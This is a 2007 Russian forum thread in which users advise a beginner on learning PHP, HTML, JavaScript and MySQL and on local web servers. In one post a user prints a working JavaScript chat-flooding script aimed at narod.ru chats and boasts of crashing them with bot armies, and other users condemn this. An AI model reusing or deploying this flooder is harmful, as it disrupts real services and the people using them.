forum.boolean.name

forum.boolean.name (http://forum.boolean.name/index.php)
-   Болтовня (http://forum.boolean.name/forumdisplay.php?f=25)
-   -   PHP - с чего начать? (http://forum.boolean.name/showthread.php?t=5043)

Bagration 16.11.2007 15:20

PHP - с чего начать?
 
Сегодня мне в асю брат написал вот что:
Цитата:

Pro (20:36:18 15/11/2007)
15/11/2007 (15:25 GMT +04:00)
посмотри трудно ли PHP программирование есть реальный зработок
Есть ли у кого книги для начинающих? И вообще какое ваше мнение об этом языке? Трудный ли он? :dontknow: Заранее спасибо за ответ! :beer:

Данил 16.11.2007 15:23

Re: PHP - с чего начать?
 
PHP ? у нас видел требуется PHP программист. 35 тыщ рублей о_О

Bagration 16.11.2007 15:25

Re: PHP - с чего начать?
 
Нет, у мну на родине брат предлогает работу, он работает в фирме поставщика Интернета.

jimon 16.11.2007 15:38

Re: PHP - с чего начать?
 
PHP - тоже самое что C++ только абстрактнее :) aka свои завороты

Crystal 16.11.2007 15:50

Re: PHP - с чего начать?
 
Цитата:

PHP - с чего начать?
С HTML, потом JavaScript, и только потом уже идти в магазин и покупать толстую книгу PhP5 и MySQL.

Bagration 16.11.2007 15:57

Re: PHP - с чего начать?
 
Не знаю не знаю, долго... Неужели сразу взятьсо низа за PHP? Если скажем я упорно буду учитьсо. Заработок все таки нужен как никак.

Crystal 16.11.2007 16:14

Re: PHP - с чего начать?
 
Какое нафиг сразу!

HTML - основы сайтостроения.
JavaScript - основы скриптописания.
PhP - сложный скриптовый язык.
MySQL - базы данных с которыми непосредственно работает PhP.

Bagration 16.11.2007 16:25

Re: PHP - с чего начать?
 
Цитата:

Сообщение от Blitzerg
Какое нафиг сразу!

HTML - основы сайтостроения.
JavaScript - основы скриптописания.
PhP - сложный скриптовый язык.
MySQL - базы данных с которыми непосредственно работает PhP.

хорошо, но вот от кода HTML мну просто мутить, такая каша:''((

Crystal 16.11.2007 16:43

Re: PHP - с чего начать?
 
HTML это даже не программинг, это язык гипертекстовой разметки.
Часто сайты строятся HTML+PhP.
Если ты не можеш осилить его, то забудь о PhP.

Bagration 16.11.2007 16:48

Re: PHP - с чего начать?
 
Цитата:

Сообщение от Blitzerg
HTML это даже не программинг, это язык гипертекстовой разметки.
Часто сайты строятся HTML+PhP.
Если ты не можеш осилить его, то забудь о PhP.

Хм, я все таки попробую его изучить. ;) Если ниче не выйдет ну и ладно... Хоть опыт получу. Для меня щяс это главное. Собираюсь стать в будущем по специальности программистом.

Crystal 16.11.2007 16:57

Re: PHP - с чего начать?
 
Блин ты понимаеш, что HTML используется с PhP
JavaScript используется с HTML
MySQL используется с PhP.

Это всё знать надо!

А если ты хочеш быть программистом, то учи алгебру.
И начинай кодинг с Turbo Pascal, после Delphi, дальше C++.


P.S. PhP скрипты работают только в PhP сервере, например в сервере - Apache.
Так что для кодинга PhP надо сначало установить сервер.

jimon 16.11.2007 17:23

Re: PHP - с чего начать?
 
Blitzerg
ыыыыы :lol: :lol: :lol: ... и на луне есть кислород :lol: ыыы

Apache - ето веб сервер ... запомни слово ВЕБ и СЕРВЕР
PHP - ето виртуальная машина как и другие скриптовые языки типа LUA

PHP может работать без Apache .. у php возможности не ограничиваются
сайтами, на нем даже нормальные игры пишут :-) (не веб игры)

JavaScript реально сейчас не нужен ... ну я покрайней мере
без него живу и проблем не ощущаю

HTML знать надо, да

MySQL тож жошь ... текстовую базу данных слабо придумать ? :)
хотя имхо основы языка sql мона осилить за 1-2 дня
и при изучении php сходу не нужно учить sql

ps. не знаю с чего ты взял что php и html ето какие-то родные вещи
php скрипт просто генерирует html текст и все

Bagration 16.11.2007 17:26

Re: PHP - с чего начать?
 
Цитата:

Сообщение от Blitzerg

А если ты хочеш быть программистом, то учи алгебру.
И начинай кодинг с Turbo Pascal, после Delphi, дальше C++.

Ну-с алгебру я и так учу. :) . TurboPascal и Delphi не юзал. :( С++ учу. :) Ну и байсикоподобный Blitz в данный момент осваиваю. Классная вещь. Может опыт блитца заменит мне опыт с Паскалем. :@

Crystal 16.11.2007 17:28

Re: PHP - с чего начать?
 
Цитата:

Blitzerg
ыыыыы :lol: :lol: :lol: ... и на луне есть кислород :lol: ыыы

Apache - ето веб сервер ... запомни слово ВЕБ и СЕРВЕР
PHP - ето виртуальная машина как и другие скриптовые языки типа LUA

PHP может работать без Apache .. у php возможности не ограничиваются
сайтами, на нем даже нормальные игры пишут :-)

JavaScript реально сейчас не нужен ... ну я покрайней мере
без него живу и проблем не ощущаю

HTML знать надо, да

MySQL тож жошь ... текстовую базу данных слабо придумать ? :)
хотя имхо основы языка sql мона осилить за 1-2 дня
и при изучении php сходу не нужно учить sql
__________________
J.G.S. - My Blog В аду поговорим, а тут давай будем жить ?
Ну да апач веб сервер.
Он и пхп и перл и кги держит.
И маил сервер в него ставится.

Насчёт яваскрипта так извольте в хтмлке юзается.
Если этот человек не сможет в яваскрипте писать то, куда ему пхп то?

MySQL жгу?
Батенька вы себе представляете нормальный портал на самопальной базе представляющей из себя набор текстовых файлов?
Так тока дерьмовый чат или гостевуху сделать можно.

PhP без веб сервера может работать? Это какжеш?

jimon 16.11.2007 18:34

Re: PHP - с чего начать?
 
Blitzerg
1)
Apache,PHP,Perl и тд ето все разные пакеты
то что php,perl предоставляют плагины для апача ето другая история

как запустить php скрипт без apache ?
да легко, go to http://www.php.net/
качаем бинарник

пишем какой нить example.php и в нем
Код:

<?php
echo "my mega example";
exit();
?>

запускаем его php.exe example.php
и в консоли будем видеть "my mega example"

2) а ты знаешь что такое java script и для чего он был придуман ?
в чем его главное отличие от php и perl ?
зачем его вообще приманяют ?
имхо не знаеш :)

3) портал с текстовой базой данных - еще как представляю :-)
не умея писать, представлять тем более не умеешь ...

Tadeus 16.11.2007 20:56

Re: PHP - с чего начать?
 
JavaScript - клиентский язык, то есть годится тупо для взаимодействия на стороне с клиентом. То бишь тырить файлы и форматировать диск :-)

шЮтка :lol:

magpro 16.11.2007 22:27

Re: PHP - с чего начать?
 
Если человек талковый то можно без знания явыскрипт.

Так как пхп и ява не очень схожи.

ПХП больше напоминает по синтаксису с++
Книжку просто почитай ПХП для начало не очень дурная вещь.

haedim 16.11.2007 23:03

Re: PHP - с чего начать?
 
Не скажу, что PHP очень сложный.


Кстати,для тех, кто восхищается Rails, но не хочет переходить на Ruby, есть Akelos, порт Rails для PHP 4 и 5. Всем очень рекомендую.

DRAG 16.11.2007 23:23

Re: PHP - с чего начать?
 
Цитата:

Не скажу, что PHP очень сложный
Ето точно. И кстати за мускул, jimon правельно сказал что
мона обойтись текстовой базой, ведъ мускул ламают еври дей :) sql-инъекция. ИМХО лучше перед изучением баз реально свою намутить (текстовую),
а потом и мускул штудировать( всё надо в своей жизни попробовать :)).

magpro 16.11.2007 23:59

Re: PHP - с чего начать?
 
Хороший учебник по ПХП для начинающих и не только=)

http://www.softtime.ru/info/bookphp....wn=bookphp.zip

Bagration 17.11.2007 01:35

Re: PHP - с чего начать?
 
Мдя... Я даже не знаю что думать... Вообщем подучусь неделю-месяц, если чтото толковое выйдет, продолжу.
magpro, спасибо за ссылку. буду читать

sash13 17.11.2007 01:45

Re: PHP - с чего начать?
 
http://visavi.net тут палазь очь много умных людей в форуме сидит ///http://visavi.net/pages/anketa.php?uz=sash13& мой там афторитет

Crystal 17.11.2007 10:16

Re: PHP - с чего начать?
 
Цитата:

Blitzerg
1)
Apache,PHP,Perl и тд ето все разные пакеты
то что php,perl предоставляют плагины для апача ето другая история

как запустить php скрипт без apache ?
да легко, go to http://www.php.net/
качаем бинарник

пишем какой нить example.php и в нем
Код:
<?phpecho "my mega example";exit();?>


запускаем его php.exe example.php
и в консоли будем видеть "my mega example"

2) а ты знаешь что такое java script и для чего он был придуман ?
в чем его главное отличие от php и perl ?
зачем его вообще приманяют ?
имхо не знаеш :)

3) портал с текстовой базой данных - еще как представляю :-)
не умея писать, представлять тем более не умеешь ...
1):
их как плагины на апаче везде и используют

2):
яваскрипт работает в хтмл по сути язык повышающий возможности хтмл,
создаёт динамичность в страницах.
Хош сказать я в яваскрипте ничего не рублю?
Да я писал на нём года 3-4 назад.
Вот те мой код:

Цитата:

<html>
<head>
<title>Атомный Моритель</title>
</head>
<body bgcolor="aqua" background="Radiation.jpg">
<center><P STYLE="filter:Glow(Strength='8', Color='#00FF00'); width: 1000; height: 68; font-size: 66pt; font-weight: bold; text-align: center; color: DarkGreen;"> Атомный Моритель </P></center>
<form action="http://chat.narod.yandex.ru/cgi-bin/GetCom" name="atomflood" method="get" target="messaga">

<table border="3" align="center">
<tr>
<td align="center">
<input type="hidden" name="wrapper" value="1" width="500">
</td>
<td align="center">
<b></b> <input type="text" name="data" value="" size="52"><br><b><font size=4>Текст</font></b><br><input name=fraza value='' size="52">
<td align="center">
<b><font size=4>userid</font></b> <input type="text" name="userid" value="" size="30">
</td>
<td align="center">
<b><font size=4>chatid</font></b> <input type="text" name="chatid" value="" size="20">
</td>
<td align="center">
<b><font size=4>не трогать</font></b> <input type="password" name="command" value="2" size="10">
</td>
</tr>
</table>
</form>
<iframe name="messaga" width=0% height=0% frameborder=0 scrolling="no"></iframe>
</td></tr>
<table border="3" align="center">
<tr>
<td><P STYLE="filter:Glow(Strength='3', Color='#00FF00'); width: 200; height: 28; font-size: 16pt; font-weight: bold; text-align: center; color: DarkGreen;"> Автор :: Crystal </P></td>
</tr>
</table>
</BODY>
</html>
<script Language="JavaScript">
function atom()

{
q--;

w++;

e++;

r--;
if(v==0){
m=a+q+s+z+a+w+s+a+n+s+a+e+s+z+a+r+s;
n=document.atomflood.fraza.value;
this.document.atomflood.data.value=m;
this.atomflood.submit();
}
}

setInterval ("atom()", 200);
var time=0;
var q=1000;
var w=0;
var e=0;
var r=1000;
var z="FLOOD";
var n;
var m;
var v=0;
var a="-[";
var s="]-";
</script>
Вот благадаря таким программам я вооружил армию чатиров,
год или полтора мы убивали чаты народ ру.
А вот когда я выпустил скрипт "Пи**атрон 3000", лежали все их чаты.
Админы были в шоке что на их чатах онлайн 3000 ботов, сервер выбивало нафиг,
вылетали все вместе с админами ))

3):
угу представляй дальше...
ЫМХЁ - годится только для гостевых книг.

Не умея писать? А только вы товарищ джимон всё умеете да?
А все кругом идиоты?
Писал также 3-4 года назад гостевуху на пхп.
Также совершал попытку написать чат,
но не доделал, надоело.


Цитата:

JavaScript - клиентский язык, то есть годится тупо для взаимодействия на стороне с клиентом. То бишь тырить файлы и форматировать диск
Восновном на яваскрипте менюшки для сайтов пишут.
Но и умудряются писать чаты, и даже форум видел.
Это впринципи удобно, нагрузки на сервер нет,
скрипты работаю в браузерах посетителей ресурсов.
Можно и эксплоит написать...

Nord 17.11.2007 12:50

Re: PHP - с чего начать?
 
Цитата:

Есть ли у кого книги для начинающих?
Учебник, что дал magpro, считаю одним из лучших, также рекомендую почитать PHP: Полезные приемы
Цитата:

И вообще какое ваше мнение об этом языке? Трудный ли он?
Хороший язык. Трудность в изучении зависит от твоего опыта, если ты программировал на Си, то PHP изучить тебе не составит особого труда, если же нет, то придется повозиться.

HTML знать крайне желательно, т.к. если ты будешь делать движок для сайта, тебе же надо будет как-то делать панель администрирования, передавать информацию через формы и.т.д.

Файлы или СУБД: лично я приверженец реляционных БД, а не файлов, но выбирать надо в зависимости от поставленной задачи и масштабов проекта. MySQL - очень простая система, не думаю, что ты потратишь на её изучение много времени.

А Java-script, я считаю, знать вовсе не обязательно. PHP-программисты используют его только в крайних случаях, когда другими средствами не обойтись, это как никак уже совсем другой язык и отношение к PHP он никакого не имеет. Яркий пример применения js - отражение аватаров на этом форуме. Не целесообразно создавать картинки отражения на стороне сервера, а затем передавать их клиенту, гораздо лучше, если эти картинки будет генерировать машина пользователя. Хотя, конечно, всё это является визуальным оформлением, по этому, возможно это уже работа верстальщика, а не PHP-программиста.

Цитата:

Сообщение от Blitzerg
Вот благадаря таким программам я вооружил армию чатиров,
год или полтора мы убивали чаты народ ру.

Так говоришь, будто гордишься этим, а гордиться ведь тут, имхо, нечем...

DRAG 17.11.2007 14:58

Re: PHP - с чего начать?
 
Blitzerg
Я не пойму тебя ? В чём прикол спорить кто дольше кодил, круче и т.п.?
Лучше бы (как делают умные люди) помогали друг другу :)
А понты не к чему не приведут !
Если хош попонтоваться, иди на forum.vingrad.ru :D

Bagration 17.11.2007 15:34

Re: PHP - с чего начать?
 
Цитата:

Сообщение от Blitzerg
1):
Вот благадаря таким программам я вооружил армию чатиров,
год или полтора мы убивали чаты народ ру.
А вот когда я выпустил скрипт "Пи**атрон 3000", лежали все их чаты.
Админы были в шоке что на их чатах онлайн 3000 ботов, сервер выбивало нафиг,
вылетали все вместе с админами ))

Мдя, не вижу тут повода для гордости. Чего тут хорошего? То что ты мешал людям общатьсо? >>:( Писать вири и вредоносные программы -это... просто слов нет... :shit:

Tadeus 17.11.2007 16:39

Re: PHP - с чего начать?
 
Кстати, хотел всегда найти пример ЧИСТО JavaScript чатика ;) Так что плиз сцылко в студию

ЗЫЖ Приведенный код не очень-то и сложен :)

devolonter 18.11.2007 00:39

Re: PHP - с чего начать?
 
Цитата:

Сообщение от DRAG
jimon правельно сказал что
мона обойтись текстовой базой, ведъ мускул ламают еври дей :) sql-инъекция. ИМХО лучше перед изучением баз реально свою намутить (текстовую),
а потом и мускул штудировать( всё надо в своей жизни попробовать :)).

Угу... тока текстовую базу прочитать как два пальца об асфальт(1) Скорость работы в разы ниже(2) Проблем с написанием мега портала будет еще та куча(3) Ну и в четвертых... Человеку сложно переучиваться поэтому надо сразу писать как положено... А sql инъекция... зависит от твоего же скрипта и mysql тут ни в чем не виноват :)
Дальше по вопросам... Из серверов рекомендую Денвер имхо самый простой... И начинать нужно именно с сервера т.к. с помощью пхп екзе сайт не протестишь... Как устанавливать все подробно на сайте написано написано
JavaScript можно но не обязательно... Хотя если хочешь применять технологию ajax(обновление данных страницы без ее перезагрузки) без него не обойтись
HTML обязон! Но можно учить параллельно с php или воспользоваться редактором например dreamweiver. Плюс желательно узнать что такое css и с чем его едят...
С чего начинать... Я начинал с примеров :) А их до фига в инете...
Итог: когда то я выучил пхп не имея представления о c++ css javascript и даже mysql.. Да и HTML я знал только о том что там есть table :) начал я со странички нашей группы... ушло у меня на это все около месяца... Сейчас я работаю в веб студии пхп программистом... Все приходит с опытом... Читай, долби, ищи Вобщем млин все в твоих руках... Если надо могу скинуть неплохой учебник по пхп стучись в асю ;) Ну и желаю удачи!!!

DRAG 18.11.2007 02:37

Re: PHP - с чего начать?
 
Я щас кстати делаю гостевуху на PHP для сайта.
Делаю в первый раз :), вроде норм получается, и не очень сложно
(можно и так сказать:)). Осталось совсем немного.
php нормальная весч, но вот потом мускул учить, стоит ли?
Хотя если подумать.. где требуются программеры на пхп,
то там нады знать мускул :(
Касати, есть же есчё и оракл, тоже вроде БД.
Только чем она отлечается от MySql ?

Crystal 18.11.2007 09:15

Re: PHP - с чего начать?
 
Да денвер канешно простой,
но имхо лучше сразу апач ставить и привыкать к нему,
ибо большая часть используемых веб серверов в нете именно апач.

Nord 18.11.2007 09:46

Re: PHP - с чего начать?
 
Цитата:

Сообщение от Blitzerg
Да денвер канешно простой,
но имхо лучше сразу апач ставить и привыкать к нему,
ибо большая часть используемых веб серверов в нете именно апач.

Не понял тебя, денвер это комлект дистрибутивов, в который входят Apache, PHP, MySQL и т.д. Я кстати использую AppServ, а не Денвер, хотя начинал с денвера, но потом появились баги с кодировками и я от него отказался. Можно конечно самому веб-сервер собрать, да только настраваить его потом запаришься... Быстрее поставить AppServ и не мучиться.

devolonter 18.11.2007 09:48

Re: PHP - с чего начать?
 
Цитата:

но имхо лучше сразу апач ставить и привыкать к нему
в базовом денвере есть апач :)
Цитата:

Касати, есть же есчё и оракл, тоже вроде БД.
ИМХО лучше учить mysql его используют гораздо чаще... Его даже на бесплатных хостингах сейчас дают... Правда одну базу :)

Bagration 18.11.2007 16:15

Re: PHP - с чего начать?
 
Вообщем качаю самоучитель HTML, сперва его освою. Как раз мне щяс нужно - сайт нашей команды админить.

Crystal 18.11.2007 16:32

Re: PHP - с чего начать?
 
В денвере есть апач?
Я сам его юзать не решился, только чуть почитал о нём.
Кудаж мои глаза глядели, как не заметил я...
Пардон.

jimon 18.11.2007 17:01

Re: PHP - с чего начать?
 
Blitzerg
всего нормальных веб серверов я знаю тока два
ето apache и мелкософский IIS (вроде так)
все остальные ето типа minimal web server

так что denwer ето только название настроего apache :)

haedim 18.11.2007 17:22

Re: PHP - с чего начать?
 
Цитата:

Сообщение от jimon
Blitzerg
всего нормальных веб серверов я знаю тока два
ето apache и мелкософский IIS (вроде так)
все остальные ето типа minimal web server

так что denwer ето только название настроего apache :)

Ну, еще есть nginx и lighthttpd...

Хотя на Апаче есть mod_mono:b,...

Crystal 18.11.2007 18:50

Re: PHP - с чего начать?
 
Цитата:

Сообщение от jimon
Blitzerg
всего нормальных веб серверов я знаю тока два
ето apache и мелкософский IIS (вроде так)
все остальные ето типа minimal web server

так что denwer ето только название настроего apache :)

ясно.
но я только апач юзал, он у меня досихпор стоит в компе,
без дела уже несколько лет )

dector 19.11.2007 01:35

Re: PHP - с чего начать?
 
ИМХО:
1. пхп не очень сложный. но если учить супер профи для заказчика - то трудновато.
2. Джаву ф топку! Я тож его не люблю.
3. Я начинал так:

index.php
PHP код:

<? include 'my.php'; ?>

my.php
PHP код:

[общая структура html]
Проба

Запустив на серваке индекс.пхп ты увидишь "Проба."

Кстати <? ставится если на серваке поставлена поддержка коротких скажем вызовов, а если нет - пиши <?php

magpro 19.11.2007 12:02

Re: PHP - с чего начать?
 
Цитата:

Сообщение от dector
ИМХО:
1. пхп не очень сложный. но если учить супер профи для заказчика - то трудновато.
2. Джаву ф топку! Я тож его не люблю.
3. Я начинал так:

index.php
PHP код:

<? include 'my.php'; ?>

my.php
PHP код:

[общая структура html]
Проба

Запустив на серваке индекс.пхп ты увидишь "Проба."

Кстати <? ставится если на серваке поставлена поддержка коротких скажем вызовов, а если нет - пиши <?php

Не легче тогда так:
PHP код:

<?php echo "Проба"?>


Тоже увидишь "проба" тока более ясно выгледит)


Часовой пояс GMT +4, время: 16:11.

vBulletin® Version 3.6.5.
Copyright ©2000 - 2025, Jelsoft Enterprises Ltd.
Перевод: zCarot